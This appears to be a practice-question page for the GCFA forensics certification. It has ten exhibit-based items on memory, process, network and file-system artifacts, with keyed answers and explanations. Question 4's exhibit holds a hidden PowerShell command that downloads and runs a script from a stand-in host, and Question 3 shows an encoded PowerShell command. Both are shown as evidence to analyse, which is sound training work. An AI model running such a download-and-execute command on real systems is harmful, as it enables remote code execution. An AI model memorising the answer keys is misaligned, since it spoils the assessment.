How many Refer to the Exhibit Practice Questions questions are on this page?

This page has 10 Refer to the Exhibit Practice Questions scenario questions for the GCFA exam, each with detailed explanations and wrong-answer analysis.

How should I approach GCFA scenario questions?

Read the full scenario before looking at the answer options. Identify the constraint or requirement in the scenario, then eliminate options that are generally true but wrong for this specific case. Scenario questions reward careful reading over pattern matching.

← Back to GIAC Certified Forensic Analyst questions

Scenario-based practice

Refer to the Exhibit Practice Questions

Practise GIAC Certified Forensic Analyst practice questions — original exam-style scenarios covering every exam domain, with detailed explanations, wrong-answer analysis, and common exam traps.

Start full practice test Read exam guide

scenario questions

GCFA

exam code

GIAC

vendor

Scenario guide

How to approach refer to the exhibit practice questions

Practise exhibit-style questions that ask you to read a topology, table, command output or diagram before choosing the best answer.

Quick answer

Exhibit-style questions test whether you can read a topology, command output, diagram or table before choosing the best answer.

How to extract the relevant detail from an exhibit.

How topology, command output or routing information affects the answer.

How to avoid answering from memory before reading the evidence.

How to map the exhibit back to the exam objective.

Practice scenarios

Question 1mediummultiple choice

Full question →

Based on the process metadata provided in the exhibit, what is the most significant indicator that requires further investigation?

Exhibit

Refer to the exhibit: { 'Process': 'svchost.exe', 'PID': 1234, 'ParentPID': 567, 'Path': 'C:\\Windows\\System32\\', 'StartTime': '2023-10-01T10:00:00Z', 'CommandLine': 'C:\\Windows\\System32\\svchost.exe -k netsvcs' }

A
The command line contains -k netsvcs
Why it fails: The -k netsvcs flag is a perfectly standard and legitimate command-line argument for the Windows service host process. It indicates that the process is correctly hosting a group of services, which is expected behavior for a system-critical process like svchost.exe on a standard Windows installation.
B
The process path is C:\Windows\System32\
Why it fails: This is the standard, expected location for the svchost.exe binary on a Windows operating system. Seeing the process running from the correct System32 directory is typically a sign of normal activity, not a reason for suspicion, unless other indicators of compromise are present in the environment.
C
The ParentPID value
Svchost.exe is a critical system process that should always be spawned by services.exe. If the PPID does not match the process ID of services.exe, it strongly suggests that the process is a masquerading binary or has been launched by an unauthorized actor, even if the path appears correct.
D
The process name is svchost.exe
Why it fails: Svchost.exe is a standard Windows service host process. The mere presence of this process name is not an indicator of compromise; rather, one must look at the path, the parent process, and the services it is hosting to determine if the instance is legitimate or malicious.

Full breakdown with real-world context →

Question 2hardmultiple choice

Full question →

Refer to the exhibit. What is the most significant finding based on the Volatility 'malfind' output?

Exhibit

Exhibit C: Volatility malfind output
PID: 2456 | Address: 0x00A00000 | Tag: VadS | Protection: PAGE_EXECUTE_READWRITE
Header: MZ
Content: 4D 5A 90 00 ...

A
The process is running a standard, signed driver
Why it fails: Signed drivers are typically loaded from disk and authenticated by the Windows kernel. An injected MZ header in a non-file-backed memory region is the opposite of a signed driver. It indicates an unsigned, likely malicious, binary being executed directly from RAM to evade detection.
B
The process has been infected via code injection
The 'MZ' signature identifies a portable executable file. Finding this header inside a memory segment that lacks file-backing and is set to RWX permissions confirms that a complete binary payload was injected into the process memory, which is a hallmark of sophisticated process injection attacks.
C
The process is using a standard heap allocation
Why it fails: A heap allocation should not contain a PE header ('MZ'). If a heap segment contains an 'MZ' header, it is a sign that malicious code is residing in that memory space, not a standard heap data structure used for normal application operations.
D
The memory segment is a legitimate shared DLL
Why it fails: Shared DLLs are always file-backed and are not typically marked as PAGE_EXECUTE_READWRITE. The absence of file-backing for this memory segment, combined with the presence of an executable header, indicates that this is not a loaded DLL but rather an active, malicious injection.

Full breakdown with real-world context →

Question 3mediummultiple choice

Full question →

Given the command-line exhibit, what is the best strategy to analyze the behavior of this process?

Exhibit

Refer to the exhibit: { 'EventID': 4688, 'ProcessName': 'powershell.exe', 'CommandLine': 'powershell.exe -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEgA... )' }

A
Search for the process name in the Shimcache
Why it fails: Shimcache only records that the process was executed. It does not capture the command-line arguments or the encoded payload. Searching the Shimcache will confirm execution but will not provide the visibility needed to understand what the script was actually doing or what malicious actions were performed during the execution.
B
Decode the base64 string and perform script analysis
Decoding the base64 string is the only way to reveal the underlying PowerShell script executed by the attacker. This allows the analyst to see the actual commands, identify the targeted actions, and determine the scope of the incident, which is essential for creating an effective remediation plan for the compromised host.
C
Check the MFT for the parent process file
Why it fails: The parent process's file system metadata in the MFT does not provide the execution context or the command-line arguments. While file system forensics is useful for finding the binary, it cannot reveal the dynamic runtime instructions that were passed into the PowerShell engine during the suspected malicious activity.
D
Run a system file integrity check
Why it fails: A file integrity check like SFC would only verify that the legitimate powershell.exe binary has not been tampered with. It does not provide any context about the commands being executed within a PowerShell session. The malicious activity here is the script logic, not an alteration of the PowerShell binary itself.

Full breakdown with real-world context →

Question 4hardmultiple choice

Full question →

Refer to the exhibit. What is the most critical security concern presented by the second command line?

Exhibit

C:\Windows\System32\cmd.exe /c echo 'test' > C:\Users\Public\test.txt
cmd.exe /c "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://bad.com/a.ps1')"

A
The usage of the 'echo' command.
Why it fails: The echo command is a standard shell utility used for simple text output. While it could be used for file creation, it is not inherently malicious. Focusing on this minor detail distracts from the far more dangerous memory-resident script execution occurring in the second part of the provided command line.
B
The usage of 'IEX' to execute code in memory.
Invoke-Expression (IEX) allows PowerShell to execute strings as commands. Downloading a script from a URL and piping it to IEX is a common 'fileless' attack technique. This avoids writing the malicious script to disk, making it difficult for traditional file-based antivirus to detect or analyze the payload.
C
The creation of a text file in C:\Users\Public.
Why it fails: While writing to public directories is often suspicious, the file created here is just a test file. It is a secondary event compared to the execution of an external script from the internet. The primary threat is the remote code execution, not the benign file creation observed earlier.
D
The command uses the 'hidden' window flag.
Why it fails: The '-w hidden' flag hides the PowerShell window to prevent user interaction or visual alerts. While this is an evasion tactic, it is not the primary threat. The core issue is the remote script execution via IEX; the hidden window is merely a supporting feature to avoid detection.

Full breakdown with real-world context →

Question 5hardmultiple choice

Full question →

Refer to the exhibit. An examiner observes the process tree provided. Given standard Windows operating system architecture, which specific observation indicates a high probability of malicious activity?

Exhibit

Exhibit A: Volatility pstree output
Name: svchost.exe | PID: 1240 | PPID: 988
Name: svchost.exe | PID: 1420 | PPID: 1240
Name: explorer.exe | PID: 1600 | PPID: 1240

A
The PID 1240 is assigned to svchost.exe
Why it fails: Svchost.exe is a standard Windows service host process that typically runs multiple instances. Having multiple instances under different PIDs is expected behavior. The PID value itself is dynamic and does not inherently suggest malicious intent without context regarding its parent or child processes.
B
The existence of two svchost.exe processes
Why it fails: Windows architecture is designed to host multiple services within separate svchost.exe instances to increase stability and security. Seeing multiple instances of this process is standard behavior and does not represent an indicator of compromise unless the specific services hosted are unidentified or malicious.
C
The parent-child relationship of svchost.exe and explorer.exe
Explorer.exe is typically launched by userinit.exe during the login sequence. When svchost.exe, a process intended for background system services, spawns the shell, it indicates that the system has been compromised. This violation of established process lineage is a primary indicator of process injection or hollowing.
D
The PID of explorer.exe is higher than svchost.exe
Why it fails: Process IDs are assigned by the operating system kernel using a counter. Higher PIDs generally indicate processes that were started later than those with lower PIDs. Since explorer.exe typically starts after system services during the boot sequence, this behavior is perfectly normal and expected for Windows.

Full breakdown with real-world context →

Question 6mediummultiple choice

Full question →

Refer to the exhibit. An examiner discovers the VAD entry shown in the exhibit for a process. What is the most appropriate forensic conclusion regarding this memory segment?

Exhibit

Exhibit B: Volatility vadinfo output
Virtual Address: 0x00400000
Protection: PAGE_EXECUTE_READWRITE
File: None
Tag: VadS

A
The memory segment is a standard heap allocation
Why it fails: Standard heap allocations typically use PAGE_READWRITE protection. Marking a heap segment as executable is highly anomalous and risky. Therefore, labeling this as a standard heap allocation ignores the high-risk nature of the PAGE_EXECUTE_READWRITE permission, which is a strong indicator of potential malicious activity.
B
The memory segment is a malicious injection
The combination of Execute, Read, and Write permissions along with the lack of file-backing is a high-confidence indicator of injected code. This configuration allows a process to write a payload to memory and then immediately execute it, which is the standard methodology for process injection attacks.
C
The memory segment is a legitimate shared library
Why it fails: Shared libraries (DLLs) are mapped to memory with specific protection flags, usually PAGE_EXECUTE_READ. Furthermore, they are always backed by a file on the file system. Since this segment has no file-backing and anomalous permissions, it cannot be a legitimate shared library loaded by the OS.
D
The memory segment is part of the system kernel
Why it fails: Kernel memory segments are managed differently than user-mode VAD entries and follow strictly defined permission models to ensure system stability. A user-mode process would not have a VAD entry with these characteristics as part of the operating system kernel. This is clearly a user-mode memory artifact.

Full breakdown with real-world context →

Question 7mediummultiple choice

Full question →

Refer to the exhibit. An investigator observes the listed network connections on a compromised server. Which process warrants immediate investigation based on these connections?

Exhibit

C:\> netstat -ano | findstr "ESTABLISHED"
TCP 10.10.1.5:445 192.168.50.20:49152 ESTABLISHED 4
TCP 10.10.1.5:443 203.0.113.45:443 ESTABLISHED 4820

A
The process with PID 4.
Why it fails: PID 4 in Windows represents the System process, which handles low-level tasks like kernel operations and file system access via SMB. While it may be involved in legitimate network shares, it is rarely the culprit for arbitrary outbound HTTPS traffic to unknown external internet-based IP addresses in this specific context.
B
The process with PID 4820.
PID 4820 is initiating an outbound connection to 203.0.113.45 on port 443. This behavior is characteristic of command-and-control (C2) traffic, where a compromised host reaches out to an external server. Investigating this process is the most logical step to identify the malicious payload and determine the extent of the compromise.
C
The connection to 10.10.1.5.
Why it fails: 10.10.1.5 is the local host address in this context. Connections to the local host address are standard and expected behavior for internal services. Focusing on the local address does not provide actionable intelligence regarding the source of the potentially malicious external communication originating from the compromised server environment.
D
The SMB connection on port 445.
Why it fails: Port 445 is the standard port for Server Message Block (SMB) file sharing in Windows environments. While attackers use SMB for lateral movement, the existence of this connection alone does not confirm malicious activity without further analysis of the associated user account, source machine, and the timing of the connection.

Full breakdown with real-world context →

Question 8hardmultiple choice

Full question →

Refer to the exhibit. What can be inferred about the file activity?

Exhibit

USN Journal Entry:
Reason: Data_Extend | Timestamp: 2023-05-01 14:00:05
Reason: File_Create | Timestamp: 2023-05-01 14:00:01

A
The file was created and immediately deleted.
Why it fails: A 'Data_Extend' reason following 'File_Create' indicates that content was written to the file. If the file were immediately deleted, there would be a subsequent 'File_Delete' entry in the USN Journal. The absence of a deletion reason means the file persisted on the system after the write operation.
B
The file was created and then populated with data.
The 'File_Create' event followed by the 'Data_Extend' event demonstrates that the file was initialized on the file system and then subsequently received data. This sequential logging is characteristic of standard file write operations performed by applications or the operating system, providing a clear timeline of file usage.
C
The file system is experiencing metadata corruption.
Why it fails: The USN Journal is designed to record these exact sequences as normal file system behavior. Seeing multiple entries for a single file is expected functionality, not evidence of corruption. Attributing this to corruption is a misinterpretation of how the USN journal captures the lifecycle of a file during operation.
D
The timestamps reflect a timestomping attempt.
Why it fails: The USN Journal is a kernel-level log that is significantly harder to manipulate than MFT attributes. A sequential, logically ordered series of events like 'Create' followed by 'Extend' is typical of normal system activity. Without evidence of gaps or illogical sequencing, there is no basis to suspect timestomping here.

Full breakdown with real-world context →

Question 9mediummultiple choice

Full question →

Refer to the exhibit. An attacker attempts to use a compromised identity with this policy to modify a file in the 'sensitive-data' bucket. What is the expected outcome?

Exhibit

Policy: {
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "s3:GetObject",
    "Resource": "arn:aws:s3:::sensitive-data/*"
  }]
}

A
The request is denied by the service.
The policy only contains 's3:GetObject', which is a read-only permission. Any attempt to modify data requires 's3:PutObject' or similar write permissions. Since the policy does not include these, the AWS service will return an 'Access Denied' error for the unauthorized modification attempt, preventing the attacker from altering the files.
B
The request is successful due to default wide permissions.
Why it fails: IAM policies do not have default wide permissions. If an action is not explicitly listed in the 'Action' field, it is automatically denied. The policy provided is clearly restricted to 's3:GetObject' only, ensuring that no unauthorized modification or deletion actions can be performed by the identity assuming this role.
C
The request is successful because the resource is a bucket wildcard.
Why it fails: The wildcard in the resource field ('/*') applies to objects within the bucket, but it only applies to the specific action defined in the 'Action' block. Since the action is limited to read operations, the wildcard does not grant write access to those objects, regardless of the bucket name structure.
D
The request is denied only if MFA is enabled.
Why it fails: MFA is an authentication factor and does not change the authorization logic of an IAM policy. Even with MFA enabled, the policy specifically restricts the identity to read-only actions. Authorization is determined by the policy statement, not by the authentication method used to gain access to the role.

Full breakdown with real-world context →

Question 10hardmultiple choice

Full question →

Refer to the exhibit. An analyst observes this process execution on a domain controller. What indicator suggests this activity is likely malicious?

Exhibit

C:\Windows\System32\svchost.exe -k netsvcs -p
Parent: C:\Windows\System32\services.exe
User: NT AUTHORITY\SYSTEM
Network: 192.168.1.5:49152 -> 45.33.22.11:443
State: ESTABLISHED

A
The process is running as NT AUTHORITY\SYSTEM.
Why it fails: Running as SYSTEM is standard behavior for svchost.exe, which manages essential operating system services. Relying solely on the user context is insufficient for detecting malicious activity, as legitimate system services frequently operate under high-privilege accounts to perform administrative tasks within the Windows environment.
B
The parent process is services.exe.
Why it fails: The services.exe binary is the legitimate parent for svchost.exe processes in Windows. Observing this parent-child relationship is expected behavior and does not provide evidence of malicious activity. Analysts must look for deviations in network destination or process arguments rather than standard system hierarchy structures.
C
The process is establishing an outbound connection to an external IP address.
Domain controllers should have strictly controlled outbound traffic profiles. An established connection to an arbitrary external IP address from a core infrastructure process like svchost is a classic indicator of compromise, suggesting the system is acting as a pivot or is participating in a command-and-control communication channel.
D
The process is using a high-numbered ephemeral port.
Why it fails: High-numbered ephemeral ports are a standard feature of TCP/IP communication for any client-side connection. Their use is not inherently suspicious and occurs during routine legitimate network operations. Focusing on the ephemeral port ignores the critical context of the destination IP, which is the true indicator here.

Full breakdown with real-world context →

These GCFA practice questions are part of Courseiva's free GIAC certification practice question bank. Courseiva provides original exam-style GCFA questions with detailed explanations, topic-based practice, mock exams, readiness tracking, and study analytics.

Refer to the Exhibit Practice Questions

How to approach refer to the exhibit practice questions

Quick answer

Related GCFA topic practice pages

Introduction to File System Timeline Forensics practice questions

NTFS Artifact Analysis practice questions

File System Timeline Artifact Analysis practice questions

Identification of Malicious and Normal Activity practice questions

Introduction to Memory Forensics practice questions

Analyzing Volatile and Windows Event Artifacts practice questions

Enterprise Environment Incident Response practice questions

Windows Artifact Analysis practice questions

GCFA fundamentals practice questions

GCFA scenario practice questions

GCFA troubleshooting practice questions

Practice scenarios

Based on the process metadata provided in the exhibit, what is the most significant indicator that requires further investigation?

Exhibit

Refer to the exhibit. What is the most significant finding based on the Volatility 'malfind' output?

Exhibit

Given the command-line exhibit, what is the best strategy to analyze the behavior of this process?

Exhibit

Refer to the exhibit. What is the most critical security concern presented by the second command line?

Exhibit

Refer to the exhibit. An examiner observes the process tree provided. Given standard Windows operating system architecture, which specific observation indicates a high probability of malicious activity?

Exhibit

Refer to the exhibit. An examiner discovers the VAD entry shown in the exhibit for a process. What is the most appropriate forensic conclusion regarding this memory segment?

Exhibit

Refer to the exhibit. An investigator observes the listed network connections on a compromised server. Which process warrants immediate investigation based on these connections?

Exhibit

Refer to the exhibit. What can be inferred about the file activity?

Exhibit

Refer to the exhibit. An attacker attempts to use a compromised identity with this policy to modify a file in the 'sensitive-data' bucket. What is the expected outcome?

Exhibit

Refer to the exhibit. An analyst observes this process execution on a domain controller. What indicator suggests this activity is likely malicious?

Exhibit